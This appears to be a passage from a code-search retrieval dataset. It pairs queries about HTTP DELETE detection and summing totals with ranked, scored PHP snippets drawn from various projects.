"381b30a221854b3db02b5984cf2dfa22", "score": "0.5533826", "text": "public function remove()\n {\n // Evaluate timestamp and set attribute\n $timestamp = date('Y:m:d H:i:s');\n $attribute = static::$softDeleteAttribute;\n $this->$attribute = $timestamp;\n\n // Save record\n $this->save(false, [$attribute]);\n\n // Trigger after delete\n $this->afterDelete();\n }", "title": "" }, { "docid": "def6dee7957f1dde81d6592297e7ae11", "score": "0.5529798", "text": "static public function remove($var)\n\t\t{\n\t\t\ttry {\n\t\t\t\tStorage::remove(self::TABLE, array('var' => $var));\n\t\t\t} catch (Storage\\Exception $e) {\n\t\t\t\tthrow new MetaException($e->getMessage());\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "02ecd7a76ad592c312f2ab516e079c3f", "score": "0.5523932", "text": "public function destroy($id)\n {\n $file = CloudStorage::find($id);\n $filename = $file->file_name;\n $dir = '/';\n $recursive = false;\n $contents = collect(Storage::cloud()->listContents($dir, $recursive));\n $file = $contents\n ->where('type', '=', 'file')\n ->where('filename', '=', pathinfo($filename, PATHINFO_FILENAME))\n ->where('extension', '=', pathinfo($filename, PATHINFO_EXTENSION))\n ->first(); // there can be duplicate file names!\n Storage::cloud()->delete($file['path']);\n CloudStorage::destroy($id);\n return redirect()->route('reports.index');\n }", "title": "" } ]
3b4331bcc35acbdd56b8e798f9dac9c7
Was the request made by DELTE?
[ { "docid": "0a23515c5f167813966a78ab680fa05b", "score": "0.61636615", "text": "public function isDelete(){\n return 'DELETE' == $this->getMethod();\n }", "title": "" } ]
[ { "docid": "988e3ae9abad99bffa0e8c4b65e417b8", "score": "0.6859875", "text": "function is_delete()\n {\n if ($this->return_result){\n return $this->op == 'DELETE';\n }\n return $_SERVER['REQUEST_METHOD'] == 'DELETE';\n }", "title": "" }, { "docid": "60735c76cb14c733a2c8fb1d64eaf202", "score": "0.67336816", "text": "function delete()\n {\n $data['login'] = $this->account;\n $response = $this->HTTP->getData('ftp/realdodelftp.html', $data);\n if (strpos($response, 'deleted')) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "c691770532f92be341101179b3fbb0b1", "score": "0.64998364", "text": "function is_delete_request()\n {\n $needle = 'delete';\n\n return strtolower(app('request')->input('_method')) == $needle\n or strtolower(app('request')->header('x-http-method-override')) == $needle;\n }", "title": "" }, { "docid": "e95c3c8e4c88811e51cf943a8b4f143f", "score": "0.6489001", "text": "public function isDelete() {\n return $this->method == \"HEAD\";\n }", "title": "" }, { "docid": "df9d1170ff388807d08fa8497d152054", "score": "0.64779735", "text": "public function isDelete() : bool{\n return $this->server->get('REQUEST_METHOD') == 'DELETE' ? true : false;\n }", "title": "" }, { "docid": "3c6cb69b9ada6b096348a41f83fb2a52", "score": "0.64217156", "text": "public function isDelete()\n {\n return ($this->method() == \"DELETE\");\n }", "title": "" }, { "docid": "720ff30e4d77880430df04a576a805e5", "score": "0.6383371", "text": "public function isDelete()\n {\n return $_SERVER['REQUEST_METHOD'] == 'DELETE';\n }", "title": "" }, { "docid": "bb4011b94d841088a947f49bfc28621c", "score": "0.6374049", "text": "public static function request_is_delete($env = null)\n {\n return static::request_method($env) === HTTP_METHOD_DELETE;\n }", "title": "" }, { "docid": "353c7862d645723be515cc445e3fd2b9", "score": "0.63666195", "text": "public function isDeleted()\n {\n return $this->result && self::TYPE_DELETE == $this->type;\n }", "title": "" }, { "docid": "1ce80d4ecfada814d31f5b84ffcf1cb2", "score": "0.632749", "text": "public function isDelete() {\n\n\t\treturn $this->getMethod() == 'DELETE';\n\t}", "title": "" }, { "docid": "19e90f733b859203053e9602bef0121b", "score": "0.631604", "text": "public function isDelete()\n {\n return $this->getMethod() === \"DELETE\";\n }", "title": "" }, { "docid": "8303746d369b87f2ecf4c958a2527837", "score": "0.63138556", "text": "public function isDelete()\n {\n return $this->getRequest()->isMethod('DELETE');\n }", "title": "" }, { "docid": "f1a99c3169ef44d99d2777035166911f", "score": "0.6240151", "text": "function delete()\n {\n $data['path'] = '/' . $this->path;\n $response = $this->HTTP->getData('mime/delredirect.html', $data);\n if (strpos($response, 'Removed')) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "81c1648c94674eeafb3a92a0183be698", "score": "0.6234763", "text": "public function testHttpRequestMethodIsDelete()\n {\n $this->assertEquals($this->request->isPost(), false);\n }", "title": "" }, { "docid": "61dfb4d1a3d70465ddd1dd8b682bef10", "score": "0.62063617", "text": "public function isDelete()\n {\n $method = $this->getMethod();\n \n return (strtoupper($method) == 'DELETE');\n }", "title": "" }, { "docid": "71e7b80ddbdf433b22175a6ddc55ddce", "score": "0.6205451", "text": "protected function isDelete()\n {\n return $_SERVER['REQUEST_METHOD'] === 'DELETE' ? true : false;\n }", "title": "" }, { "docid": "ffd59634a76bba4e48f699fe88272c56", "score": "0.6187336", "text": "function was_deleted()\n\t{\n\t\tif ($this->status[0] == DELETED) { return YES; }\n\t\telse { return NO; }\n\t}", "title": "" }, { "docid": "0dbeb40b449376cf311442796a5a470c", "score": "0.61861026", "text": "public function isDelete() {\r\n return $this->_method == 'DELETE';\r\n }", "title": "" }, { "docid": "e711fe06942f261c863a453b61b6b1a2", "score": "0.61762625", "text": "protected function onDELETERequest() { return; }", "title": "" }, { "docid": "afb3a9175724c4f7a9ae332291c6fd73", "score": "0.6150897", "text": "public function isDelete()\n {\n if ('DELETE' == $this->getMethod()) {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "9e9e6787fe4cfb68dfdd2de5d24c3b4a", "score": "0.6143478", "text": "public static function isDeleteRequest()\n\t{\n\t\treturn Yii::app()->getComponent('request')->getIsDeleteRequest();\n\t}", "title": "" }, { "docid": "8063236ef90ab9e6caaf043f5beaf497", "score": "0.61105746", "text": "public function isDeleted()\n {\n return $this->getHeaders()->get('deleted');\n }", "title": "" }, { "docid": "801f76f9bf6c6a19f3d51c33d750f99e", "score": "0.6089035", "text": "function delete()\n {\n $data['email'] = $this->email;\n $data['domain'] = $this->domain;\n $response = $this->HTTP->getData('mail/realdelpop.html', $data);\n if (strpos($response, 'success')) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "2f4bff8984f365517ea5142f74d03928", "score": "0.6052688", "text": "public function getIsDel()\n {\n return $this->is_del;\n }", "title": "" }, { "docid": "525362789ab5353af9adad9f61ad13d4", "score": "0.60522217", "text": "function isRequestComplete();", "title": "" }, { "docid": "444921a68a6d1c26f4b1860ad8b56a80", "score": "0.604865", "text": "public function isDelete(): bool\n {\n return $this->isMethod('DELETE');\n }", "title": "" }, { "docid": "25855d573457aed0d9347068b2a80d8d", "score": "0.5939219", "text": "public function isDelete() {\r\n return $this->isMethod('DELETE');\r\n }", "title": "" }, { "docid": "6ebf9e64bab42f820cd6eb5ecc2051c9", "score": "0.57647526", "text": "public function isDelete(): bool\n {\n return $this->name === 'DELETE';\n }", "title": "" }, { "docid": "ea216f4cdf9c924463c3b99d1b70c314", "score": "0.575803", "text": "public function isDeleted()\n\t{\n\t\treturn ($this->get('published') == self::STATE_TRASHED);\n\t}", "title": "" }, { "docid": "02e931ef5b1497be72af9c8c73525bfd", "score": "0.57137424", "text": "public function isDeleted();", "title": "" }, { "docid": "a46773b854171b44b264823a1615878d", "score": "0.56866246", "text": "public function isDeletable()\n {\n $total = 0;\n $total += $this->allies->count();\n $total += $this->registrationtypes->count();\n $total += $this->speakers->count();\n $total += $this->films->count();\n\n /// pendiente\n return $total == 0;\n }", "title": "" }, { "docid": "faae5c4e97b2c617cda98d7d6d316453", "score": "0.5686107", "text": "private function delArticle($request){\n $messagge = $this->db->delArticle($request);\n if(is_bool($messagge)){\n return $this->getArticles();\n }\n }", "title": "" }, { "docid": "313badceed48be70a53a5fed55adc865", "score": "0.56754744", "text": "public function deletable(){\n if($this->status == 'available' || $this->status == 'cancelled'|| $this->status == 'completed'){\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "e2b6e5df3dc7a77f1202cb7238613c86", "score": "0.56589484", "text": "public function isDeleted()\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "9e5d2bac02fb520b981b9c0c42ea7f6c", "score": "0.5653575", "text": "public function isDeleted() {\r\n return $this->deleted;\r\n }", "title": "" }, { "docid": "ea40e1668e767e317be8643f69cd9262", "score": "0.563319", "text": "public function isDeleted() {\n\t return (bool)$this->is_deleted;\n\t}", "title": "" }, { "docid": "45390bb87f3b5534bd56c951beecde55", "score": "0.5631551", "text": "function delete()\n {\n $data['user'] = $this->user;\n $response = $this->HTTP->getData('sql/deluser.html', $data);\n if (strpos($response, 'Removed')) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "2b92ddcaad945cf43379834a1e155a1f", "score": "0.56291175", "text": "public function can_process_deletion() : bool {\n return ($this->get('status') == self::STATUS_APPROVED);\n }", "title": "" }, { "docid": "4120a135cde697fc09e7d28fc85aff4f", "score": "0.56251574", "text": "public function deleteCheck($url)\n {\n $token = $this->getToken($url);\n if (is_null($token)) {\n return false;\n }\n \n $apiUrl = self::BASE_URL . '/' . $token;\n \n $return = json_decode($this->_getRequest($apiUrl, 'DELETE'), true);\n if ($return !== false && isset($return['deleted']) && $return['deleted'] === true) {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "f5a65d51d8366cc3ceb86c8f7f39c5ec", "score": "0.56240183", "text": "public function hasRequest(): bool;", "title": "" }, { "docid": "f5a65d51d8366cc3ceb86c8f7f39c5ec", "score": "0.56240183", "text": "public function hasRequest(): bool;", "title": "" }, { "docid": "7981a619de263e3134ba7cffc5ab0309", "score": "0.5619591", "text": "public function isDeleted(): bool\n {\n // TODO: Implement isDeleted() method.\n }", "title": "" }, { "docid": "6f2ee4b549ca6f77ce4d74c07c9ab778", "score": "0.5615236", "text": "public function isDeclined()\n {\n return $this->status === 'declined';\n }", "title": "" }, { "docid": "4fe5e87fd182aaaa9f99a1a0a0880bd1", "score": "0.5608718", "text": "public function getDeleted(): bool\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "cf5795d1913f2e56bba433711765d4cc", "score": "0.56067836", "text": "public function isDeleted()\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "cf5795d1913f2e56bba433711765d4cc", "score": "0.56067836", "text": "public function isDeleted()\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "cf5795d1913f2e56bba433711765d4cc", "score": "0.56067836", "text": "public function isDeleted()\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "cf5795d1913f2e56bba433711765d4cc", "score": "0.56067836", "text": "public function isDeleted()\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "cf5795d1913f2e56bba433711765d4cc", "score": "0.56067836", "text": "public function isDeleted()\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "cf5795d1913f2e56bba433711765d4cc", "score": "0.56067836", "text": "public function isDeleted()\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "cf5795d1913f2e56bba433711765d4cc", "score": "0.56067836", "text": "public function isDeleted()\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "cf5795d1913f2e56bba433711765d4cc", "score": "0.56067836", "text": "public function isDeleted()\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "cf5795d1913f2e56bba433711765d4cc", "score": "0.56067836", "text": "public function isDeleted()\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "cf5795d1913f2e56bba433711765d4cc", "score": "0.56067836", "text": "public function isDeleted()\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "cf5795d1913f2e56bba433711765d4cc", "score": "0.56067836", "text": "public function isDeleted()\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "cf5795d1913f2e56bba433711765d4cc", "score": "0.56067836", "text": "public function isDeleted()\n {\n return $this->deleted;\n }", "title": "" }, { "docid": "e6b803bfc326541a7cecd4f248b10129", "score": "0.5603745", "text": "public function isDeleted()\n {\n return $this->_deleted;\n }", "title": "" }, { "docid": "995ecaabd8cd94903e29f11273559c65", "score": "0.5588324", "text": "function was_undeleted()\n\t{\n\t\treturn $this->was_deleted();\n\t}", "title": "" }, { "docid": "b51958b3e4b49452c651c83e152927c9", "score": "0.55865514", "text": "private function delClient($request){\n $messagge = $this->db->delClient($request);\n if(is_bool($messagge)){\n return $this->getClients();\n }\n }", "title": "" }, { "docid": "b97a99d39930bdc5680f059faf9a2ce3", "score": "0.55830395", "text": "public function isDeclined()\n {\n return $this->getStatus() === 'declined';\n }", "title": "" }, { "docid": "3f45fd81c7fd1cb07792213af53c866a", "score": "0.5576526", "text": "public function isDeleted() {\n\t\treturn $this->isDeleted;\n\t}", "title": "" }, { "docid": "f017c67205f1a53576b467a1c3d25719", "score": "0.55725247", "text": "public function delete()\n\t{\n\t\t// $response = $curl->delete();\n\t\techo \"Must delete account\";\n\t}", "title": "" }, { "docid": "05c187c58e27ea76a6ec567ffa317b54", "score": "0.5564591", "text": "function deleteOk(){\n return true;\n }", "title": "" }, { "docid": "40a9a3c18c336c48dc0170a3d91c98bf", "score": "0.55620235", "text": "public function isDeclined();", "title": "" }, { "docid": "dff6a3ae5a453e07030e6f242ea41b16", "score": "0.55600667", "text": "public function testResponsibleAPIRequestDELETE(): void\n {\n $header = new headers\\header;\n\n $_SERVER['REQUEST_METHOD'] = 'DELETE';\n $_GET['query'] = ['a' =>'b', 'foo' => 'bar'];\n\n $responsible = new responsible($this->options, false);\n $responsible->setOption('route', '/mock/123456789');\n $responsible->run();\n\n $this->headers->requestMethod();\n $method = $this->headers->getMethod();\n $payloadBody = $this->headers->getBody();\n\n $this->assertEquals('delete', $method->method);\n $this->assertEquals($_GET, $payloadBody);\n }", "title": "" }, { "docid": "b5747c65b2cc3b284f23c8d2ed14b3e5", "score": "0.55509645", "text": "public function isDeleted(): bool;", "title": "" }, { "docid": "b4e40aff57cf6f45f6abf703673dfd0b", "score": "0.55473137", "text": "public function isDeleted() {\n return $this->deleted;\n }", "title": "" }, { "docid": "55b0a60bc59fd966f0092cd7e7f8d6aa", "score": "0.5544095", "text": "public function isDeleted() {\n\t\treturn $this->_isDeleted;\n\t}", "title": "" }, { "docid": "010a1756aab3268e556b4b0bde84224f", "score": "0.55396664", "text": "public function isMisdirectedRequest(): bool;", "title": "" }, { "docid": "c9eaeea1c142b63bbb6fad43e586db37", "score": "0.55353767", "text": "public function testWarehouseTransferInABANDONRequestAbandonDelete()\n {\n }", "title": "" }, { "docid": "b2a07d18d48dcbf5ecd4a38762cec319", "score": "0.5525744", "text": "function delete_post()\n {\n\t\t$dataInfo = array();\n\t\t\n $fkey = $this->input->post('fkey', TRUE);\n $dataInfo = array('is_deleted'=>1);\n\n // $result = $this->MWarehouse->delete_data($fkey, $dataInfo);\n $result = $this->MEngineer->update_data($dataInfo, $fkey);\n\n if($result == true)\n {\n $this->response([\n 'status' => TRUE,\n 'message' => 'Data is successfully deleted'\n ], REST_Controller::HTTP_OK);\n }\n else\n {\n $this->response([\n 'status' => FALSE,\n 'message' => 'Failed to delete data'\n ], REST_Controller::HTTP_OK);\n }\n }", "title": "" }, { "docid": "38d9e71e7295dbf4d144ad9327295fb0", "score": "0.5522273", "text": "function delete_post()\n {\n\t\t$dataInfo = array();\n\t\t\n $fid = $this->input->post('fid', TRUE);\n $dataInfo = array('is_deleted'=>1);\n\n $result = $this->MAtm->update_data($dataInfo, $fid);\n\n if($result == true)\n {\n $this->response([\n 'status' => TRUE,\n 'message' => 'Data is successfully deleted'\n ], REST_Controller::HTTP_OK);\n }\n else\n {\n $this->response([\n 'status' => FALSE,\n 'message' => 'Failed to delete data'\n ], REST_Controller::HTTP_OK);\n }\n }", "title": "" }, { "docid": "6a51e444406fe3a133c653119e1cc698", "score": "0.5490083", "text": "private function handleDELETERequest()\n {\n if ($this->verb == null && sizeof($this->args) == 1) {\n Weatherdata::delete($this->args[0]);\n $this->response(\"OK\", 200);\n } else {\n $this->response(\"Not Found\", 404);\n }\n }", "title": "" }, { "docid": "ebd8fbad2a787c2fd1c7896fd760787d", "score": "0.5482613", "text": "public function delete_quote_request_if_both_deleted($id)\n\t{\n\t\t$id = clean_number($id);\n\t\t$quote_request = $this->get_quote_request($id);\n\t\tif (!empty($quote_request)) {\n\t\t\tif ($this->auth_user->id == $quote_request->seller_id || $this->auth_user->id == $quote_request->buyer_id) {\n\t\t\t\tif ($quote_request->is_buyer_deleted == 1 && $quote_request->is_seller_deleted == 1) {\n\t\t\t\t\t$this->db->where('id', $id);\n\t\t\t\t\treturn $this->db->delete('quote_requests');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "321f4fe8df76aea684a7fddca5f4e990", "score": "0.54682523", "text": "private function _deleteRequest($url)\n\t{\n\t\tif (strlen(strstr($url,'?'))>0)\n\t\t{\n\t\t\t$url .= \"&key=\" . $this->Key;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$url .= \"?key=\" . $this->Key;\n\t\t}\n\t\t$ch = curl_init();\n\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\t\tcurl_setopt($ch, CURLOPT_CUSTOMREQUEST, \"DELETE\");\n\t\tcurl_exec($ch);\n\t\t$headers = curl_getinfo($ch);\n\t\tcurl_close($ch);\n\t\treturn $headers['http_code'];\n\t}", "title": "" }, { "docid": "d47bb698c0ee548971642cff71d46081", "score": "0.54647243", "text": "function delete()\n {\n $data['db'] = $this->database;\n $response = $this->HTTP->getData('sql/deldb.html', $data);\n if (strpos($response, 'dropped')) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "904e8c79dfd853240d1e5e3e96c7b928", "score": "0.5458536", "text": "protected function do_delete() {\r\n $this->statusCode = 405;\r\n }", "title": "" }, { "docid": "5c97fe84125a5cf1fada6cf1f8a0381f", "score": "0.54548013", "text": "public function delete() {\n $this->clearError();\n\n $passport = amvonetroom_SchoolPassport::get();\n if (!$passport) {\n $this->error = amvonetroom_SchoolPassport::getError();\n return FALSE;\n }\n\n $serverUrl = amvonetroom_Server::balancerProxy($passport->getEntryPoint(), \"rpc/$this->uid/delete\");\n $token = amvonetroom_User::getToken();\n if (!empty($token))\n $serverUrl .= \"&token=$token\";\n \n $req = new amvonetroom_HttpRequest(\"GET\", $serverUrl);\n if (!$req->send(NULL)) {\n $this->error = $req->getError();\n }\n $req->close();\n\n return $this->error === NULL;\n }", "title": "" }, { "docid": "8a3b50e71fc2410cd4fe895f1ff0e7ff", "score": "0.5454047", "text": "public function delete($id)\n {\n $res = false;\n\t $this->tx_service->transaction(function () use ($id,&$res) {\n $endpoint = ApiEndpoint::find($id);\n if(!is_null($endpoint)){\n $res = $endpoint->delete();\n }\n });\n return $res;\n }", "title": "" }, { "docid": "f9e111343752ec0010a2c2348341ffb5", "score": "0.54369515", "text": "public function isDeleted(): bool\n\t{\n\t\treturn $this->markedDrop;\n\t}", "title": "" }, { "docid": "72a8566c0ebaa42e08a7f8f7f19e9bce", "score": "0.5434057", "text": "public function hasSchoolDelete()\n {\n $response = $this->delete('/school/delete/4');\n\n // redirect\n $response->assertStatus(302);\n }", "title": "" }, { "docid": "b533a5000e2f5f20e9c8c8fab5ec696c", "score": "0.5430023", "text": "public function allowDelete()\n {\n return $this->request->request('POST', $this->endpoint, 'AllowDelete');\n }", "title": "" }, { "docid": "f16ce8edb073ce8c4f87b1e45e0baa98", "score": "0.54253066", "text": "public function revoke(): bool\n {\n try {\n $response = $this->api->post(self::$base_url . 'revoke', [\n 'access_token' => $this->getAccessToken()\n ]);\n } catch (\\Exception $e) {\n //TODO: do some validation\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "33dbc953df92253e775dd5192fec0a96", "score": "0.54180473", "text": "public function CanDelete()\n\t{\treturn $this->id && !$this->details['usecount'];\n\t}", "title": "" }, { "docid": "24ac278d185dc30e7b47b6a41c709bc0", "score": "0.5416049", "text": "protected function sendDelete( ){\n $forwardInfo = $this->getForwardInfo( );\n if( $forwardInfo ){\n // disconnect before we make another request\n WebDFS_Helper::disconnectClient();\n if( isset( $this->params['propagateDelete'] ) && !$this->params['propagateDelete'] ){\n return;\n }\n $errNo = 0;\n $origPosition = $forwardInfo['position'];\n $curl = curl_init();\n $headers = array();\n $loops = 0;\n $nodeLength = count( $this->getTargetNodes( ) );\n do{\n if( $loops >= $nodeLength ){\n $this->errorLog('noNodeFound',__FUNCTION__, __FILE__, __LINE__);\n break;\n }\n $loops++;\n $headers[0] = self::HEADER_REPLICA.': '.$forwardInfo['replica'];\n $headers[1] = self::HEADER_POSITION.': '.$forwardInfo['position'];\n curl_setopt($curl, CURLOPT_HTTPHEADER, $headers );\n curl_setopt($curl, CURLOPT_TIMEOUT, 10);\n curl_setopt($curl, CURLOPT_CUSTOMREQUEST, \"DELETE\");\n curl_setopt($curl, CURLOPT_URL, $forwardInfo['forwardUrl'] );\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n $response = curl_exec($curl);\n $errNo = curl_errno($curl);\n $info = curl_getinfo($curl);\n if( $errNo || $info['http_code'] >= 400 ){\n $this->errorLog('deleteSend', $forwardInfo['replica'], $forwardInfo['forwardUrl'], curl_errno($curl), curl_error($curl), $response );\n $forwardInfo = $this->getForwardInfo( $forwardInfo['replica'], $forwardInfo['position'] );\n }\n } while( ($errNo || $info['http_code'] >= 400) && $forwardInfo && ($origPosition != $forwardInfo['position']) );\n curl_close($curl);\n }\n }", "title": "" }, { "docid": "62e023360d5cc4938c56e25245bc78e7", "score": "0.5413337", "text": "public function delete()\n {\n if (! $response = $this->sendData('DELETE')) {\n return $this->errorMessage;\n } else {\n return $response;\n }\n }", "title": "" }, { "docid": "af97df578fd08925c7fb73d64f939b47", "score": "0.54038465", "text": "final public function isDeleted()\n {\n return $this->_isDeleted;\n }", "title": "" }, { "docid": "4b6de0c3dbfeb76cf4c32c35a7ebd2eb", "score": "0.5393671", "text": "public function delete_request()\n {\n if($this->yura_vashchenko_crud_model->deleteUser() !== false) {\n echo \"<span class='success'>Deleted</span>\";\n }\n }", "title": "" }, { "docid": "e4134d2d5aa04f646d6109d74ba230e5", "score": "0.5392595", "text": "public function hasStudentDelete()\n {\n $response = $this->get('/student/delete/1');\n\n $response->assertStatus(200);\n }", "title": "" }, { "docid": "9861c0cddc56d01a199870cccabb5b97", "score": "0.5375764", "text": "public function delete() {\n return true;\n }", "title": "" }, { "docid": "99482ae8cb216b6823882f7b7953bba8", "score": "0.53715926", "text": "public function testJournalSetABANDONRequestAbandonDelete()\n {\n }", "title": "" }, { "docid": "c241acaa982cd122acd5d3d7e669028d", "score": "0.5370043", "text": "public function isSent();", "title": "" }, { "docid": "4fd3e4bcf9c8ea7daa283de482e97f6b", "score": "0.5369538", "text": "public function delete()\n {\n return false;\n }", "title": "" }, { "docid": "4fd3e4bcf9c8ea7daa283de482e97f6b", "score": "0.5369538", "text": "public function delete()\n {\n return false;\n }", "title": "" }, { "docid": "21e156bd77f86669ed8b170de532e7d3", "score": "0.5369382", "text": "public function isDemanded();", "title": "" }, { "docid": "1b5c59a887ed6c1865792764a1be0c4e", "score": "0.5366064", "text": "private function __deleteCommand($url){\r\n $ch = curl_init();\r\n curl_setopt($ch,CURLOPT_URL,$url);\r\n curl_setopt($ch,CURLOPT_CUSTOMREQUEST,\"DELETE\");\r\n $result = curl_exec($ch);\r\n curl_close($ch);\r\n // Later I will put in some error checking, to make sure an http 200/201 was returned, if so return a boolean.\r\n }", "title": "" }, { "docid": "4520af621f323b9af68eb36bd90dd868", "score": "0.5364398", "text": "public function delete($id_request='')\n\t{\n\t\tif ($id_navigation != '')\n\t\t{\n\t\t\treturn $this->db->where('id_request', $id_request)->delete('requests');\n\t\t}\n\t\treturn FALSE;\n\t}", "title": "" }, { "docid": "04e70e5eb7b6d12cb822656d245b3489", "score": "0.5356771", "text": "public function getIsDeletedByRecipient();", "title": "" }, { "docid": "72255ad8dbf1f01231798d5617822119", "score": "0.5355051", "text": "public function isDeleted(): bool\n {\n return null !== $this->getDeletedAt() && $this->getDeletedAt()->getTimestamp() <= time();\n }", "title": "" }, { "docid": "dd67f1972666bedaf8cf0d6a943216a3", "score": "0.5346282", "text": "public function delete(): bool;", "title": "" } ]
54bf199d622cc9fdaf8d0b46d689d329
Calculamos el total de registros
[ { "docid": "c5559602121abe8831ec8b592e42d647", "score": "0.0", "text": "function DameTotalAnuncio($sql){\r\n $sqltemp = $sql;\r\n $resultemp = mysql_query($sqltemp);\r\n $total_registros = mysql_num_rows($resultemp);\r\n return $total_registros;\r\n }", "title": "" } ]
[ { "docid": "1a511a8a32035bc2706ea69cfcaf42be", "score": "0.78543127", "text": "public function TotalRegistros(){\n \t\t\treturn $this->totalRegistros;\t\t\t\t\t\t\n\t\t\t}", "title": "" }, { "docid": "1cd7cd32a6aa536c1d500a3c24e3864c", "score": "0.7737083", "text": "private function GerarTotalRegistros(){\t\t\n\t\t\t\t$query = \"SELECT COUNT(*) AS Total FROM\";\n\n\t\t\t\t$contagem = count($this->tabela);\n\n\t\t\t\tforeach ($this->tabela as $key => $value) {\t\t\t\t\t\n\t\t\t\t\tif($contagem > 1){\n\t\t\t\t\t\t$query .= \" \".$value.\",\";\n\t\t\t\t\t\t$contagem--;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\t$query .= \" \".$value;\n\t\t\t\t}\n\n\t\t\t\t#region adicionando condiçõe\n\t\t\t\t$contagem = count($this->condicoes);\n\t\t\t\tif($contagem > 0){\n\t\t\t\t\t$query.=\" WHERE\";\n\t\t\t\t\tforeach ($this->condicoes as $key => $value) {\t\t\t\t\t\t\n\t\t\t\t\t\t$query.=\" \".$value['campo'].\" \".$value['condicao'].\" '\".$value['valor'].\"'\";\n\n\t\t\t\t\t\tif($contagem > 1)\n\t\t\t\t\t\t\t$query.=\" \".$value['parametro'];\n\n\t\t\t\t\t\t$contagem--;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t#endregion\t\t\t\t\t\t\t\t\n\n\t\t\t\t$resp = mysql_query($query, $this->conexao);\n\t\t\t\t$linha = mysql_fetch_array($resp);\n\n\t\t\t\t$this->totalRegistros = $linha['Total'];\n\t\t\t}", "title": "" }, { "docid": "b424ecaf470eb171113e06acdc93b7c1", "score": "0.73183227", "text": "public function calcularTotal() {\n $this->total = costos::getCosto($this->getHorario());\n //(($this->getHorario() == 'matutino' || $this->getHorario() == 'vespertino') ? costos::getCosto($this->getHorario()) : costos::getCosto('doble_horario'));\n $this->_applyDiscount()->_applyActividades()->_applyImpuesto()->_applyBilletera()->_applyMatricula();\n return number_format($this->total, 2, '.', '');\n }", "title": "" }, { "docid": "496bc0c28c1ae84e89700058cc363d67", "score": "0.72974366", "text": "public function getTotal();", "title": "" }, { "docid": "67036a266809413486d7bfe05f22da5e", "score": "0.7239754", "text": "public function calculerTotal()\r\n\t{\r\n\t\t$this->setTotal(($this->getQuantite())*($this->getPrix()));\r\n\t}", "title": "" }, { "docid": "31eb3cd2596fc91106b6e46273ee935d", "score": "0.720313", "text": "public function getTotal() { \n $contenu = $this->getContenu();\n $total = 0;\n foreach($contenu as $item) {\n $total += $item[\"produit\"]->getPrix() * $item[\"quantite\"];\n }\n return $total;\n }", "title": "" }, { "docid": "67659e9e94c9b9e3e0ad44268a73923f", "score": "0.70968986", "text": "public function testTotal()\n {\n $prixList = ['enfant' => 0, 'junior' => 8, 'adulte' => 16, 'senior' => 12];\n\n $total = 0;\n $age = new P4Forms($prixList);\n\n $total = $total + $age->prix(60) + $age->prix(14) + $age->prix(2) + $age->prix(6);\n\n $this->assertEquals(36, $total);\n }", "title": "" }, { "docid": "133a38838ee1d64ea1d20ee1d6519d3e", "score": "0.70557207", "text": "public function ctrSumaTotalVentas(){\n\n\t\t$tabla = \"ventas\";\n\n\t\t$respuesta = ModeloVentas::mdlSumaTotalVentas($tabla);\n\n\t\treturn $respuesta;\n\n\t}", "title": "" }, { "docid": "133a38838ee1d64ea1d20ee1d6519d3e", "score": "0.70557207", "text": "public function 